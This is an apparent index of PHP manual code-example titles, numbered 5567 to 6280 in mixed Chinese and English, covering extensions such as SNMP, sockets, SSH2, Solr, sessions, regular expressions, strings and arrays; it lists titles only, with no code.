  • Example#5567 - Creating a connection object and connecting to a Messaging Server
  • Example#5568 - Disconnecting from a Messaging Server
  • Example#5569 - Using the error number and description properties
  • Example#5570 - Using the error number and description properties
  • Example#5571 - Checking whether there us a connection to a Messaging Server
  • Example#5572 - Retrieve the next message from a queue without removing it
  • Example#5573 - Retrieve a specific message from a queue without removing it from the queue
  • Example#5574 - Retrieve all messages in a queue without removing them
  • Example#5575 - Retrieve all messages from a queue with a matching correlation id
  • Example#5576 - Receiving a message from a queue
  • Example#5577 - Receiving a message from a queue with options
  • Example#5578 - Receiving a message from a subscription
  • Example#5579 - Removing a message from a queue by message id
  • Example#5580 - Cancelling an in-flight unit of work
  • Example#5581 - Send a message to a queue
  • Example#5582 - Publish a message to a topic
  • Example#5583 - Send a request and receive a response
  • Example#5584 - Turn on debugging output
  • Example#5585 - Turn off debugging output
  • Example#5586 - Subscribe to a topic
  • Example#5587 - Delete a subscription
  • Example#5588 - Setting a text string into the body of a message
  • Example#5589 - Creating a message
  • Example#5590 - Creating a message with a simple text payload
  • Example#5591 - Setting a text format property using the default syntax
  • Example#5592 - Setting a text format property using a type hint
  • Example#5593 - Setting properties as the sender of a message
  • Example#5594 - Retreiving property values from a message
  • Example#5595 - snmp_get_quick_print 示例
  • Example#5596 - Using snmp_get_valueretrieval
  • Example#5597 - Using snmp_read_mib
  • Example#5598 - Using snmp_set_enum_print
  • Example#5599 - Using snmprealwalk
  • Example#5600 - Using snmp_set_valueretrieval
  • Example#5601 - Using snmp2_get
  • Example#5602 - Using snmp2_get_next
  • Example#5603 - Using snmp2_real_walk
  • Example#5604 - Using snmp2_set
  • Example#5605 - Using snmp2_set for setting BITS SNMP object id
  • Example#5606 - snmp2_walk Example
  • Example#5607 - Using snmp3_get
  • Example#5608 - Using snmp3_getnext
  • Example#5609 - Using snmp3_real_walk
  • Example#5610 - Using snmp3_set
  • Example#5611 - Using snmp3_set for setting BITS SNMP object id
  • Example#5612 - snmp3_walk Example
  • Example#5613 - Using snmpgetnext
  • Example#5614 - Using snmprealwalk
  • Example#5615 - SNMP::close example
  • Example#5616 - Fetching sysLocation
  • Example#5617 - Single SNMP object
  • Example#5618 - Multiple SNMP objects
  • Example#5619 - SNMP::getErrno example
  • Example#5620 - SNMP::getError example
  • Example#5621 - Single SNMP object
  • Example#5622 - Miltiple SNMP objects
  • Example#5623 - Set single SNMP object id
  • Example#5624 - Set multiple values using single SNMP::set call
  • Example#5625 - Using SNMP::set for setting BITS SNMP object id
  • Example#5626 - SNMP::setSecurity example
  • Example#5627 - SNMP::walk example
  • Example#5628 - suffix_as_key example
  • Example#5629 - Socket举例：简单的TCP/IP服务器
  • Example#5630 - Socket举例：简单的TCP/IP客户端
  • Example#5631 - 使用 socket_bind 来设置套接字资源地址
  • Example#5632 - socket_create_pair example
  • Example#5633 - socket_create_pair IPC example
  • Example#5634 - socket_get_option example
  • Example#5635 - socket_import_stream example
  • Example#5636 - socket_last_error example
  • Example#5637 - socket_recv 范例
  • Example#5638 - socket_recvfrom example
  • Example#5639 - Using NULL with socket_select
  • Example#5640 - Understanding socket_select's result
  • Example#5641 - socket_select example
  • Example#5642 - socket_sendto Example
  • Example#5643 - socket_set_block example
  • Example#5644 - socket_set_nonblock example
  • Example#5645 - socket_set_option example
  • Example#5646 - socket_strerror example
  • Example#5647 - Authenticating with a ssh agent
  • Example#5648 - Authentication using a public hostkey
  • Example#5649 - Retrieving a list of authentication methods
  • Example#5650 - Authenticating with a password
  • Example#5651 - Authentication using a public key
  • Example#5652 - ssh2_connect example
  • Example#5653 - Executing a command
  • Example#5654 - Opening a shell and retrieving the stderr stream associated with it
  • Example#5655 - Checking the fingerprint against a known value
  • Example#5656 - Determining what methods were negotiated
  • Example#5657 - Adding a publickey with ssh2_publickey_add
  • Example#5658 - Listing authorized keys with ssh2_publickey_list
  • Example#5659 - Downloading a file via SCP
  • Example#5660 - Uploading a file via SCP
  • Example#5661 - Changing the mode of a file on a remote server
  • Example#5662 - Stating a symbolic link via SFTP
  • Example#5663 - Creating a directory on a remote server
  • Example#5664 - Reading a symbolic link
  • Example#5665 - Resolving a pathname
  • Example#5666 - Renaming a file via sftp
  • Example#5667 - Removing a directory on a remote server
  • Example#5668 - Stating a file via SFTP
  • Example#5669 - Creating a symbolic link
  • Example#5670 - Deleting a file
  • Example#5671 - Opening a file via SFTP
  • Example#5672 - Requesting an interactive shell
  • Example#5673 - Opening a tunnel to an arbitrary host
  • Example#5674 - 面向对象风格
  • Example#5675 - 过程化风格
  • Example#5676 - stomp_connect_error example
  • Example#5677 - stomp_version example
  • Example#5678 - 面向对象风格
  • Example#5679 - 过程化风格
  • Example#5680 - 面向对象风格
  • Example#5681 - 过程化风格
  • Example#5682 - 面向对象风格
  • Example#5683 - 过程化风格
  • Example#5684 - 面向对象风格
  • Example#5685 - 过程化风格
  • Example#5686 - 面向对象风格
  • Example#5687 - 过程化风格
  • Example#5688 - 面向对象风格
  • Example#5689 - 过程化风格
  • Example#5690 - 面向对象风格
  • Example#5691 - 过程化风格
  • Example#5692 - 面向对象风格
  • Example#5693 - 过程化风格
  • Example#5694 - 面向对象风格
  • Example#5695 - 过程化风格
  • Example#5696 - Train from array
  • Example#5697 - Train from a file
  • Example#5698 - svn_add 例子
  • Example#5699 - Default authentication example
  • Example#5700 - svn_blame example
  • Example#5701 - Basic example
  • Example#5702 - Basic example
  • Example#5703 - Basic example
  • Example#5704 - Basic example
  • Example#5705 - 基本示例
  • Example#5706 - Basic example
  • Example#5707 - Diffing two revisions of a repository path
  • Example#5708 - Portably diffing two local files
  • Example#5709 - svn_export example
  • Example#5710 - Basic example
  • Example#5711 - svn_log example
  • Example#5712 - svn_ls example
  • Example#5713 - Basic example
  • Example#5714 - Basic example
  • Example#5715 - Deny all connections from localhost
  • Example#5716 - Ban an URL
  • Example#5717 - Get statistic snapshot
  • Example#5718 - Read varnish shared memory log
  • Example#5719 - VarnishAdmin::__construct example
  • Example#5720 - Parallel searching using Yaz
  • Example#5721 - CCL configuration
  • Example#5722 - CCL Parsing
  • Example#5723 - Record Update
  • Example#5724 - Array for GRS-1 record
  • Example#5725 - Working with MARCXML
  • Example#5726 - PHP function that scans titles
  • Example#5727 - Query Examples
  • Example#5728 - Sort Criterias
  • Example#5729 - Example for NIS errors
  • Example#5730 - Example for the NIS first
  • Example#5731 - Example for the default domain
  • Example#5732 - Example for the NIS master
  • Example#5733 - Example for NIS match
  • Example#5734 - Example for NIS next
  • Example#5735 - Example for the NIS order
  • Example#5736 - A ZMQContext example
  • Example#5737 - A ZMQContext example
  • Example#5738 - A ZMQContext example
  • Example#5739 - A ZMQSocket example
  • Example#5740 - A send/recv example
  • Example#5741 - A ZMQPoll example
  • Example#5742 - zookeeper_dispatch example #1
  • Example#5743 - zookeeper_dispatch example #2
  • Example#5744 - Zookeeper::addAuth example
  • Example#5745 - Zookeeper::create example
  • Example#5746 - Zookeeper::delete example
  • Example#5747 - Zookeeper::exists example
  • Example#5748 - Zookeeper::get example
  • Example#5749 - Zookeeper::get stat example
  • Example#5750 - Zookeeper::getAcl example
  • Example#5751 - Zookeeper::getChildren example
  • Example#5752 - Zookeeper::set example
  • Example#5753 - Zookeeper::setAcl example
  • Example#5754 - Zookeeper::setDebugLevel example
  • Example#5755 - ZookeeperConfig::add example
  • Example#5756 - ZookeeperConfig::get example
  • Example#5757 - ZookeeperConfig::remove example
  • Example#5758 - ZookeeperConfig::set example
  • Example#5759 -
  • Example#5760 - udm_api_version example
  • Example#5761 - udm_cat_listexample
  • Example#5762 - Specifying path to the current category in the following format: '> Root > Sport > Auto > Ferrari'
  • Example#5763 - udm_load_ispell_data example
  • Example#5764 - udm_load_ispell_data example
  • Example#5765 - solr_get_version example
  • Example#5766 - Contents of the BootStrap file
  • Example#5767 - Adding a document to the index
  • Example#5768 - Merging one document into another document
  • Example#5769 - Searching for documents - SolrObject responses
  • Example#5770 - Searching for documents - SolrDocument responses
  • Example#5771 - Simple TermsComponent example - basic
  • Example#5772 - Simple TermsComponent example - using a prefix
  • Example#5773 - Simple TermsComponent example - specifying a minimum frequency
  • Example#5774 - Simple Facet Example
  • Example#5775 - Simple Facet Example - with optional field override for mincount
  • Example#5776 - Facet Date Example
  • Example#5777 - Connecting to SSL-Enabled Server
  • Example#5778 - Collapsing a SolrQuery
  • Example#5779 - Solr Real Time Get (RTG) example SolrClient::getById
  • Example#5780 - SolrInputDocument::addChildDocument example
  • Example#5781 - SolrInputDocument::addChildDocuments example
  • Example#5782 - SolrDocument::toArray example
  • Example#5783 - SolrObject::__construct example
  • Example#5784 - SolrObject::offsetUnset example
  • Example#5785 - SolrClient::addDocument example
  • Example#5786 - SolrClient::addDocument example 2
  • Example#5787 - SolrClient::addDocuments example
  • Example#5788 - SolrClient::__construct example
  • Example#5789 - SolrQuery::deleteByQuery example
  • Example#5790 - SolrClient::getById example
  • Example#5791 - SolrClient::getByIds example
  • Example#5792 - SolrClient::ping example
  • Example#5793 - SolrClient::query example
  • Example#5794 - SolrClient::request example
  • Example#5795 - SolrClient::setResponseWriter example
  • Example#5796 - SolrParams::setParam example
  • Example#5797 - SolrQuery::addFacetField example
  • Example#5798 - SolrQuery::addFacetField example
  • Example#5799 - SolrQuery::addFilterQuery example
  • Example#5800 - SolrQuery::addGroupSortField example
  • Example#5801 - SolrQuery::collapse example
  • Example#5802 - SolrQuery::setExpand example
  • Example#5803 - SolrDisMaxQuery::addBigramPhraseField example
  • Example#5804 - SolrDisMaxQuery::addBoostQuery example
  • Example#5805 - SolrDisMaxQuery::addPhraseField example
  • Example#5806 - SolrDisMaxQuery::addQueryField example
  • Example#5807 - SolrDisMaxQuery::addTrigramPhraseField example
  • Example#5808 - SolrDisMaxQuery::addUserField example
  • Example#5809 - SolrDisMaxQuery::__construct example
  • Example#5810 - SolrDisMaxQuery::removeBigramPhraseField example
  • Example#5811 - SolrDisMaxQuery::removeBoostQuery example
  • Example#5812 - SolrDisMaxQuery::removePhraseField example
  • Example#5813 - SolrDisMaxQuery::removeQueryField example
  • Example#5814 - SolrDisMaxQuery::removeTrigramPhraseField example
  • Example#5815 - SolrDisMaxQuery::removeUserField example
  • Example#5816 - SolrDisMaxQuery::setBigramPhraseFields example
  • Example#5817 - SolrDisMaxQuery::setBigramPhraseSlop example
  • Example#5818 - SolrDisMaxQuery::setBoostFunction example
  • Example#5819 - SolrDisMaxQuery::setBoostQuery example
  • Example#5820 - SolrDisMaxQuery::setMinimumMatch example
  • Example#5821 - SolrDisMaxQuery::setPhraseFields example
  • Example#5822 - SolrDisMaxQuery::setPhraseSlop example
  • Example#5823 - SolrDisMaxQuery::setQueryAlt example
  • Example#5824 - SolrDisMaxQuery::setQueryPhraseSlop example
  • Example#5825 - SolrDisMaxQuery::setTieBreaker example
  • Example#5826 - SolrDisMaxQuery::setTrigramPhraseFields example
  • Example#5827 - SolrDisMaxQuery::setTrigramPhraseSlop example
  • Example#5828 - SolrDisMaxQuery::setUserFields example
  • Example#5829 - SolrDisMaxQuery::useDisMaxQueryParser example
  • Example#5830 - SolrDisMaxQuery::useEDisMaxQueryParser example
  • Example#5831 - SolrCollapseFunction::__construct example
  • Example#5832 - SolrCollapseFunction::setHint example
  • Example#5833 - SolrCollapseFunction::setMax example
  • Example#5834 - 基本使用范例
  • Example#5835 - Basic search query
  • Example#5836 - A Swish::__construct example
  • Example#5837 - Basic Swish::getMetaList example
  • Example#5838 - Basic Swish::getPropertyList example
  • Example#5839 - Basic Swish::prepare example
  • Example#5840 - Basic Swish::query example
  • Example#5841 - Basic SwishResult::stem example
  • Example#5842 - Basic SwishResults::getParsedWords example
  • Example#5843 - Basic SwishResults::nextResult example
  • Example#5844 - Basic SwishResults::seekResult example
  • Example#5845 - Basic SwishSearch::execute example
  • Example#5846 - Basic SwishSearch::resetLimit example
  • Example#5847 - Basic SwishSearch::setLimit example
  • Example#5848 - Basic SwishSearch::setPhraseDelimiter example
  • Example#5849 - Basic SwishSearch::setSort example
  • Example#5850 - Basic SwishSearch::setStructure example
  • Example#5851 - 用 .htaccess 禁用一个目录的 PHP 解析
  • Example#5852 - apache_get_modules 示例
  • Example#5853 - apache_get_version example
  • Example#5854 - apache_getenv example
  • Example#5855 - apache_lookup_uri 例子
  • Example#5856 - Passing information between PHP and Perl
  • Example#5857 - Logging values in access.log
  • Example#5858 - apache_request_headers 示例
  • Example#5859 - apache_response_headers 示例
  • Example#5860 - 使用 apache_setenv 设置一个 Apache 环境变量
  • Example#5861 - getallheaders 示例
  • Example#5862 - nsapi_request_headers example
  • Example#5863 - 在 $_SESSION 中注册变量。
  • Example#5864 - 从 $_SESSION 中反注册变量。
  • Example#5865 - 某单一用户的点击数
  • Example#5866 - 样例信息
  • Example#5867 - session_cache_expire 示例
  • Example#5868 - session_cache_limiter 示例
  • Example#5869 - session_create_id example with session_regenerate_id
  • Example#5870 - 销毁会话数据以及 $_SESSION
  • Example#5871 - session_gc example for task managers like cron
  • Example#5872 - session_gc example for user accessible script
  • Example#5873 - session_name 示例
  • Example#5874 - A session_regenerate_id 示例
  • Example#5875 - Avoiding lost session by session_regenerate_id
  • Example#5876 - 自定义会话管理器： 完整代码请参见 SessionHandlerInterface。
  • Example#5877 - 使用对象自定义会话保存管理器
  • Example#5878 - page1.php
  • Example#5879 - page2.php
  • Example#5880 - 覆盖 Cookie 超时时间设定
  • Example#5881 - 读取会话之后立即关闭会话存储文件
  • Example#5882 - Using SessionHandler to add encryption to internal PHP save handlers.
  • Example#5883 - Example using SessionHandlerInterface
  • Example#5884 - bbcode_add_smiley usage example
  • Example#5885 - bbcode_create example
  • Example#5886 - bbcode_set_arg_parser usage example
  • Example#5887 - bbcode_set_flags usage example
  • Example#5888 - Tokenize comma separated integer list
  • Example#5889 - Tokenize assign statement
  • Example#5890 - Simple calculator
  • Example#5891 - Parse words out from a sentence
  • Example#5892 - 合法模式示例
  • Example#5893 - 非法模式示例
  • Example#5894 - 比较preg_filter 和preg_replace的示例
  • Example#5895 - preg_grep 示例
  • Example#5896 - preg_last_error 示例
  • Example#5897 - 查找所有文本中的电话号码。
  • Example#5898 - 查找匹配的HTML标签（贪婪）
  • Example#5899 - 使用子命名组
  • Example#5900 - 查找文本字符串"php"
  • Example#5901 - 查找单词"word"
  • Example#5902 - 获取URL中的域名
  • Example#5903 - 使用命名子组
  • Example#5904 - preg_quote示例
  • Example#5905 - 将文本中的单词替换为斜体
  • Example#5906 - preg_replace_callback_array example
  • Example#5907 - preg_replace_callback 和 匿名函数
  • Example#5908 - preg_replace_callback示例
  • Example#5909 - preg_replace_callback使用递归构造处理BB码的封装
  • Example#5910 - 使用后向引用紧跟数值原文
  • Example#5911 - preg_replace中使用基于索引的数组
  • Example#5912 - 替换一些值
  • Example#5913 - 剥离空白字符
  • Example#5914 - 使用参数count
  • Example#5915 - preg_split示例：获取搜索字符串的部分
  • Example#5916 - 将一个字符串分隔为组成它的字符
  • Example#5917 - 分隔一个字符串并获取每部分的偏移量
  • Example#5918 - 正则表达式例子
  • Example#5919 - ereg_replace 例子
  • Example#5920 - ereg_replace 例子
  • Example#5921 - 将 URL 替换为超连接
  • Example#5922 - ereg 例子
  • Example#5923 - 高亮搜索结果
  • Example#5924 - eregi 例子
  • Example#5925 - split 例子
  • Example#5926 - split 例子
  • Example#5927 - spliti 例子
  • Example#5928 - sql_regcase 例子
  • Example#5929 - addcslashes 例子
  • Example#5930 - 一个 addslashes 例子
  • Example#5931 - chr 例子
  • Example#5932 - chunk_split 例子
  • Example#5933 - convert_uudecode 例子
  • Example#5934 - convert_uuencode 例子
  • Example#5935 - count_chars 示例
  • Example#5936 - 显示一个 crc32 校验码
  • Example#5937 - crypt 范例
  • Example#5938 - 利用 htpasswd 进行 crypt 加密
  • Example#5939 - 以不同散列类型使用 crypt
  • Example#5940 - echo 例子
  • Example#5941 - explode 例子
  • Example#5942 - explode return examples
  • Example#5943 - limit 参数的例子
  • Example#5944 - fprintf: zero-padded integers
  • Example#5945 - fprintf: formatting currency
  • Example#5946 - Translation Table Example
  • Example#5947 - hex2bin 例子
  • Example#5948 - Decoding HTML entities
  • Example#5949 - htmlentities 例子
  • Example#5950 - ENT_IGNORE 用法示例
  • Example#5951 - 一个 htmlspecialchars_decode 的例子
  • Example#5952 - htmlspecialchars 例子
  • Example#5953 - implode 例子
  • Example#5954 - lcfirst 例子：
  • Example#5955 - levenshtein 例子：
  • Example#5956 - localeconv example
  • Example#5957 - ltrim的使用范例
  • Example#5958 - md5_file 使用范例
  • Example#5959 - md5 范例
  • Example#5960 - metaphone basic example
  • Example#5961 - Using the phonemes parameter
  • Example#5962 - money_format 例子
  • Example#5963 - nl2br 使用范例
  • Example#5964 - 使用 is_xhtml 生成合法的 HTML 标记
  • Example#5965 - 各种换行分隔符
  • Example#5966 - number_format Example
  • Example#5967 - ord 范例
  • Example#5968 - 检查 UTF-8 字符串的每一个字节
  • Example#5969 - parse_str 的使用
  • Example#5970 - parse_str 名称改写
  • Example#5971 - print 范例
  • Example#5972 - rtrim 使用范例
  • Example#5973 - setlocale Examples
  • Example#5974 - setlocale Examples for Windows
  • Example#5975 - sha1_file 范例
  • Example#5976 - sha1 范例
  • Example#5977 - Soundex Examples
  • Example#5978 - Argument swapping
  • Example#5979 - Specifying padding character
  • Example#5980 - Position specifier with other specifiers
  • Example#5981 - sprintf: zero-padded integers
  • Example#5982 - sprintf: formatting currency
  • Example#5983 - sprintf: scientific notation
  • Example#5984 - sscanf 例子
  • Example#5985 - sscanf - using optional parameters
  • Example#5986 - str_ireplace 范例
  • Example#5987 - str_pad 范例
  • Example#5988 - str_repeat 范例
  • Example#5989 - str_replace 基本范例
  • Example#5990 - 可能的 str_replace 替换范例
  • Example#5991 - str_rot13 范例
  • Example#5992 - str_shuffle 范例
  • Example#5993 - str_split 使用范例
  • Example#5994 - str_word_count 范例
  • Example#5995 - strcasecmp 范例
  • Example#5996 - strcmp 例子
  • Example#5997 - strcspn example
  • Example#5998 - strip_tags 范例
  • Example#5999 - stripos 范例
  • Example#6000 - stripslashes 范例
  • Example#6001 - 对数组使用 stripslashes
  • Example#6002 - stristr 范例
  • Example#6003 - 测试字符串的存在与否
  • Example#6004 - 使用非字符串 needle
  • Example#6005 - strlen 范例
  • Example#6006 - strpbrk 范例
  • Example#6007 - 使用 ===
  • Example#6008 - 使用 !==
  • Example#6009 - 使用位置偏移量
  • Example#6010 - strrchr 范例
  • Example#6011 - 使用 strrev 反转字符串
  • Example#6012 - strripos 简单范例
  • Example#6013 - 检查字串是否存在
  • Example#6014 - 使用偏移位置进行查找
  • Example#6015 - strspn 范例
  • Example#6016 - strstr 范例
  • Example#6017 - strtok 范例
  • Example#6018 - 当存在空的部分时 strtok 的反应
  • Example#6019 - strtolower 范例
  • Example#6020 - strtoupper 范例
  • Example#6021 - strtr 范例
  • Example#6022 - 使用两个参数的 strtr 范例
  • Example#6023 - strtr behavior comparison
  • Example#6024 - substr_compare 范例
  • Example#6025 - substr_count 范例
  • Example#6026 - substr_replace 范例
  • Example#6027 - Using substr_replace to replace multiple strings at once
  • Example#6028 - 使用负数 start
  • Example#6029 - 使用负数 length
  • Example#6030 - substr 基本用法
  • Example#6031 - substr casting behaviour
  • Example#6032 -
  • Example#6033 - trim 使用范例
  • Example#6034 - 使用 trim 清理数组值
  • Example#6035 - ucfirst 范例
  • Example#6036 - ucwords 范例
  • Example#6037 - ucwords 自定义 delimiters 的例子
  • Example#6038 - vfprintf: 前导 0 的整数
  • Example#6039 - vprintf: 前导 0 的整数
  • Example#6040 - vsprintf: 前导 0 的整数
  • Example#6041 - wordwrap 范例
  • Example#6042 - wordwrap 范例
  • Example#6043 - wordwrap 例子
  • Example#6044 - array_change_key_case例一
  • Example#6045 - array_chunk 例子
  • Example#6046 - 从结果集中取出first names列
  • Example#6047 - 从结果集中总取出last names列，用相应的id作为键值
  • Example#6048 - username 列是从对象获取 public 的 "username" 属性
  • Example#6049 - 获取 username 列，从对象通过魔术方法 __get 获取 private 的 "username" 属性。
  • Example#6050 - 一个 array_combine 简单的例子
  • Example#6051 - array_count_values 例子
  • Example#6052 - array_diff_assoc 例子
  • Example#6053 - array_diff_assoc example
  • Example#6054 - array_diff_key 例
  • Example#6055 - array_diff_uassoc 例子
  • Example#6056 - array_diff_ukey 例子
  • Example#6057 - array_diff 例子
  • Example#6058 - array_fill_keys 范例
  • Example#6059 - array_fill 例子
  • Example#6060 - array_filter 例子
  • Example#6061 - 不使用 callback 时的array_filter
  • Example#6062 - 带 flag 标记的 array_filter
  • Example#6063 - array_flip 例子
  • Example#6064 - array_flip 例子 : 冲突
  • Example#6065 - array_intersect_assoc 例子
  • Example#6066 - array_intersect_key 例子
  • Example#6067 - array_intersect_uassoc 例子
  • Example#6068 - array_intersect_ukey 例子
  • Example#6069 - array_intersect 例子
  • Example#6070 - array_key_exists 例子
  • Example#6071 - array_key_exists 与 isset 的对比
  • Example#6072 - Basic array_key_first Usage
  • Example#6073 - array_keys 例子
  • Example#6074 - array_map 例子
  • Example#6075 - array_map 使用匿名函数 (PHP 5.3.0 起)
  • Example#6076 - array_map：使用更多的数组
  • Example#6077 - 多维数组：创建数组，内部包含数组
  • Example#6078 - array_map 键（key）是 string
  • Example#6079 - array_merge_recursive 例子
  • Example#6080 - array_merge 例子
  • Example#6081 - Simple array_merge 例子
  • Example#6082 - array_merge 合并非数组的类型
  • Example#6083 - 多个数组排序
  • Example#6084 - 排序多维数组
  • Example#6085 - 对数据库结果进行排序
  • Example#6086 - 不区分大小写字母排序
  • Example#6087 - array_pad 例子
  • Example#6088 - array_pop 例子
  • Example#6089 - array_product 例子
  • Example#6090 - array_push 例子
  • Example#6091 - array_rand 例子
  • Example#6092 - array_reduce 例子
  • Example#6093 - array_replace_recursive 范例
  • Example#6094 - array_replace_recursive 及其递归表现
  • Example#6095 - array_replace 范例
  • Example#6096 - array_reverse 例子
  • Example#6097 - array_search 例子
  • Example#6098 - array_shift 例子
  • Example#6099 - array_slice 例子
  • Example#6100 - array_splice 例子
  • Example#6101 - array_splice 例子
  • Example#6102 - array_sum 例子
  • Example#6103 - array_udiff_assoc 例子
  • Example#6104 - array_udiff_uassoc 例子
  • Example#6105 - array_udiff 使用 stdClass 对象的例子
  • Example#6106 - array_udiff 使用 DateTime 对象的例子
  • Example#6107 - array_uintersect_assoc 例子
  • Example#6108 - array_uintersect_uassoc 例子
  • Example#6109 - array_uintersect 例子
  • Example#6110 - array_unique 例子
  • Example#6111 - array_unique 和类型
  • Example#6112 - array_unshift 例子
  • Example#6113 - array_values 例子
  • Example#6114 - array_walk_recursive 例子
  • Example#6115 - array_walk 例子
  • Example#6116 - array 例子
  • Example#6117 - array 的自动索引
  • Example#6118 - 从 1 开始索引的 array
  • Example#6119 - 访问双引号内的数组
  • Example#6120 - arsort 例子
  • Example#6121 - asort 例子
  • Example#6122 - compact 例子
  • Example#6123 - count 例子
  • Example#6124 - 递归 count 例子
  • Example#6125 - 使用 current 系列函数的例子
  • Example#6126 - each 例子
  • Example#6127 - 用 each 遍历数组
  • Example#6128 - end 例子
  • Example#6129 - extract 例子
  • Example#6130 - in_array 例子
  • Example#6131 - in_array 严格类型检查例子
  • Example#6132 - in_array 中用数组作为 needle
  • Example#6133 - key 例子
  • Example#6134 - krsort 例子
  • Example#6135 - ksort 例子
  • Example#6136 - list 例子
  • Example#6137 - list 用法的一个例子
  • Example#6138 - 使用嵌套的 list
  • Example#6139 - 在 list 中使用数组索引
  • Example#6140 - list 和索引顺序定义
  • Example#6141 - 带键的 list
  • Example#6142 - natcasesort 例子
  • Example#6143 - natsort 基本用法的操作示例
  • Example#6144 - natsort examples demonstrating potential gotchas
  • Example#6145 - next 及相关函数的用法示例
  • Example#6146 - prev 及相关函数用法示例
  • Example#6147 - range 例子
  • Example#6148 - reset 例子
  • Example#6149 - rsort 例
  • Example#6150 - shuffle 例子
  • Example#6151 - sort 例子
  • Example#6152 - 使用不区分大小写自然排序的 sort 例子
  • Example#6153 - uasort 的基本例子
  • Example#6154 - uksort 例子
  • Example#6155 - usort 例子
  • Example#6156 - 使用多维数组的 usort 例子
  • Example#6157 - usort example using a member function of an object
  • Example#6158 - usort example using a closure to sort a multi-dimensional array
  • Example#6159 - classes.inc
  • Example#6160 - test_script.php
  • Example#6161 - 代替 call_user_method_array
  • Example#6162 - 代替 call_user_method
  • Example#6163 - class_alias 例子
  • Example#6164 - class_exists 例子
  • Example#6165 - autoload parameter 例子
  • Example#6166 - get_called_class 的使用
  • Example#6167 - get_class_methods 示例
  • Example#6168 - get_class_vars example
  • Example#6169 - get_class_vars and scoping behaviour
  • Example#6170 - 使用 get_class
  • Example#6171 - 超类中使用 get_class
  • Example#6172 - 命名空间中的类使用 get_class
  • Example#6173 - get_declared_classes 例子
  • Example#6174 - get_declared_interfaces 例子
  • Example#6175 - 使用 get_object_vars
  • Example#6176 - Use of get_object_vars
  • Example#6177 - 使用 get_parent_class
  • Example#6178 - Using get_parent_class
  • Example#6179 - interface_exists 例子
  • Example#6180 - is_a 例子
  • Example#6181 - 在 PHP 5 中使用 instanceof 运算符
  • Example#6182 - is_subclass_of 例子
  • Example#6183 - is_subclass_of example
  • Example#6184 - method_exists 例子
  • Example#6185 - Static method_exists 例子
  • Example#6186 - A property_exists example
  • Example#6187 - classkit_import example
  • Example#6188 - classkit_method_add example
  • Example#6189 - classkit_method_copy example
  • Example#6190 - classkit_method_redefine example
  • Example#6191 - classkit_method_remove example
  • Example#6192 - classkit_method_rename example
  • Example#6193 - A ctype_alnum 示例 (使用默认的区域设置)
  • Example#6194 - 一个 ctype_alpha 例子（使用默认的语言环境）
  • Example#6195 - 一个 ctype_cntrl 例子
  • Example#6196 - 一个 ctype_digit 例子
  • Example#6197 - 一个通过 ctype_digit 来比对字符和整数的例子。
  • Example#6198 - 一个 ctype_graph 例子
  • Example#6199 - 一个 ctype_lower 例子 (使用默认的语言环境)
  • Example#6200 - 一个 ctype_print 例子
  • Example#6201 - 一个 ctype_punct 的例子
  • Example#6202 - 一个 ctype_space 例子
  • Example#6203 - 一个 ctype_upper 例子 （使用当前默认语言环境）
  • Example#6204 - 一个 ctype_xdigit 的例子
  • Example#6205 - Configuring the default filter to act like htmlspecialchars
  • Example#6206 - Configuring the default filter to act like htmlspecialchars
  • Example#6207 - Validating email addresses with filter_var
  • Example#6208 - Validating IP addresses with filter_var
  • Example#6209 - Passing options to filter_var
  • Example#6210 - Sanitizing and validating email addresses
  • Example#6211 - Configuring a default filter
  • Example#6212 - 一个 filter_input_array 的例子
  • Example#6213 - 一个 filter_input 的例子
  • Example#6214 - 一个 filter_list 的例子
  • Example#6215 - 一个 filter_var_array 的例子
  • Example#6216 - 一个 filter_var 的例子
  • Example#6217 - call_user_func_array例子
  • Example#6218 - call_user_func_array使用命名空间的情况
  • Example#6219 - 把完整的函数作为回调传入call_user_func_array
  • Example#6220 - 传引用
  • Example#6221 - call_user_func 的参考例子
  • Example#6222 - call_user_func 的例子
  • Example#6223 - call_user_func 命名空间的使用
  • Example#6224 - 用call_user_func来调用一个类里面的方法
  • Example#6225 - 把完整的函数作为回调传入call_user_func
  • Example#6226 - Creating an anonymous function with create_function
  • Example#6227 - Making a general processing function with create_function
  • Example#6228 - Using anonymous functions as callback functions
  • Example#6229 - forward_static_call_array example
  • Example#6230 - forward_static_call example
  • Example#6231 - func_get_arg 例子
  • Example#6232 - func_get_arg PHP 5.3 前后对比的例子
  • Example#6233 - func_get_arg example of byref and byval arguments
  • Example#6234 - func_get_args 例子
  • Example#6235 - PHP 5.3 前后使用 func_get_args 在的对比
  • Example#6236 - func_get_args example of byref and byval arguments
  • Example#6237 - func_num_args example
  • Example#6238 - func_num_args example before and after PHP 5.3
  • Example#6239 - function_exists 的例子
  • Example#6240 - get_defined_functions 例子
  • Example#6241 - register_shutdown_function 例子
  • Example#6242 - register_tick_function example
  • Example#6243 - Quickhash Example
  • Example#6244 - Quickhash ArrayAccess Example
  • Example#6245 - Quickhash Iterator Example
  • Example#6246 - Quickhash String Values Example
  • Example#6247 - QuickHashIntSet::add example
  • Example#6248 - QuickHashIntSet::__construct example
  • Example#6249 - QuickHashIntSet::delete example
  • Example#6250 - QuickHashIntSet::exists example
  • Example#6251 - QuickHashIntSet::getSize example
  • Example#6252 - QuickHashIntSet::loadFromFile example
  • Example#6253 - QuickHashIntSet::loadFromString example
  • Example#6254 - QuickHashIntSet::saveToFile example
  • Example#6255 - QuickHashIntSet::saveToString example
  • Example#6256 - QuickHashIntHash::add example
  • Example#6257 - QuickHashIntHash::__construct example
  • Example#6258 - QuickHashIntHash::delete example
  • Example#6259 - QuickHashIntHash::exists example
  • Example#6260 - QuickHashIntHash::get example
  • Example#6261 - QuickHashIntHash::getSize example
  • Example#6262 - QuickHash IntHash file format
  • Example#6263 - QuickHash IntHash file format
  • Example#6264 - QuickHashIntHash::loadFromFile example
  • Example#6265 - QuickHashIntHash::loadFromString example
  • Example#6266 - QuickHashIntHash::saveToFile example
  • Example#6267 - QuickHashIntHash::saveToString example
  • Example#6268 - QuickHashIntHash::set example
  • Example#6269 - QuickHashIntHash::update example
  • Example#6270 - QuickHashStringIntHash::add example
  • Example#6271 - QuickHashStringIntHash::__construct example
  • Example#6272 - QuickHashStringIntHash::delete example
  • Example#6273 - QuickHashStringIntHash::get example
  • Example#6274 - QuickHashStringIntHash::getSize example
  • Example#6275 - QuickHash StringIntHash file format
  • Example#6276 - QuickHash IntHash file format
  • Example#6277 - QuickHashStringIntHash::loadFromFile example
  • Example#6278 - QuickHashStringIntHash::loadFromString example
  • Example#6279 - QuickHashStringIntHash::saveToFile example
  • Example#6280 - QuickHashStringIntHash::saveToString example
